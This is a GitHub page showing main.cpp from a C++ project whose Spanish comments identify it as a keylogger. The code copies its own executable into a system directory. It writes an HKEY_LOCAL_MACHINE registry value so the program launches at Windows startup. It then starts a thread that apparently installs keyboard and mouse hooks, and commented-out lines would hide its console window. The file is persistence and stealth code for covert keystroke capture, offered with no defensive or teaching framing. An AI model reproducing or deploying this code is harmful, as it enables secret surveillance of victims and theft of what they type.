-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
132 lines (102 loc) · 3.44 KB
/
Copy pathmain.cpp
File metadata and controls
132 lines (102 loc) · 3.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// function declaration.
//#include "SendKeys.h"
//#include <iostream>
//#include <ctime>
//#include <hidsdi.h>
//
//#define _USE_MATH_DEFINES
//#include <math.h>
//#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
//#define WC_MAINFRAME TEXT("MainFrame")
//#define MAX_BUTTONS 128
//#define CHECK(exp) { if(!(exp)) goto Error; }
//#define SAFE_FREE(p) { if(p) { HeapFree(hHeap, 0, p); (p) = NULL; } }
#include "hotkey.h"
#include "thread.h"
#include "registry.h"
HotKey *HotKey::m_pThis;
//template <class T> DWORD HotKey<T>::estado = 0;
#ifdef WIN
HHOOK HotKey::hookKB;
HHOOK HotKey::hookMOUSE;
#endif
int main(){
/**Evitamos que se muestre la ventana*/
// HWND stealth;
// AllocConsole();
// stealth=FindWindowA("ConsoleWindowClass",NULL);
// ShowWindow(stealth,0);
//Código que copia el Keylogger en system32 y añade un registro de Windows para que se inicie con el sistema.
char pathname[PATH_MAX];
HMODULE hMe=GetModuleHandle(NULL);
GetModuleFileName(hMe,pathname,PATH_MAX);
std::cout << "pathname :" << pathname << endl;
if (CopyFile(pathname, EXECDIR,0) == 0)
std::cout << "Error al copiar el fichero en " << EXECDIR << endl;
Registry reg;
reg.deleteKeyReg(HKEY_LOCAL_MACHINE, REGKEY, REGNAME);
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hkey);
RegSetValueEx(hkey, REGNAME, 0, REG_SZ, (const unsigned char*)EXECDIR, strlen(EXECDIR));
RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_ALL_ACCESS, &hkey);
RegSetValueEx(hkey, REGNAME, 0, REG_SZ, (const unsigned char*)EXECDIR, strlen(EXECDIR));
RegCloseKey(hkey);
//RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGKEY, 0, KEY_ALL_ACCESS, &hkey);
//RegDeleteKeyEx(hkey, REGNAME, 0, 0);
// RegSetValueEx(hkey, REGNAME, 0, REG_SZ, (const unsigned char*)EXECDIR, strlen(EXECDIR));
//RegCloseKey(hkey);
//Fin
/**Captura de eventos del joystick*/
//Registramos para los eventos de joystick
// RAWINPUTDEVICE rid;
//
// rid.usUsagePage = 1;
// rid.usUsage = 4; // Joystick
// rid.dwFlags = 0;
// rid.hwndTarget = hWnd;
//
// if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))
// return -1;
/**Envio de teclas*/
//CSendKeys sk;
//// Run notepad
//sk.SendKeys("{DELAY=1000}DEL BARCO DEL CHANQUETE NO NOS MOVERAN");
//
//long double sysTime = time(0);
//Sleep(3200);
//
//sysTime = time(0);
//int fps = 0;
//
//int maxSecs = 10;
//
//while ((time(0) - sysTime) < maxSecs){
// OnPaint();
// fps++;
//}
//
//cout << "fps=" << fps/(float)maxSecs;
//sk.SendKeys("ESTAMOS EN la b DE LA PROVINCIA");
//sk.SendMouseEvent(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, 5, 5, 0, 1);
//sk.SendMouseEvent(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 5, 5, 0, 1);
//sk.SendKeys("{MOUSEMOVE=640,480}");
// sk.SendKeys("{DELAY=1000}");
// for (int i=0; i<5; i++){
// sk.SendKeys("{MOUSEDOWNWHEEL=120}");
// }
// HotKey *hk = new HotKey();
// hk->SetKeyboardHook();
//HotKey *wi = new HotKey();
//wi->init();
/**Pruebas con threads*/
// Random object with DWORD method (void)
HotKey *world = new HotKey();
Thread<HotKey> *thread = new Thread<HotKey>(world, &HotKey::init);
if (thread->start())
std::cout << "Thread started with id: " << thread->getThreadID() << std::endl;
int res1 = thread->join(); // wait for thread
cout << "Fin del thread: " << res1 << endl;
delete world;
delete thread;
return 0;
}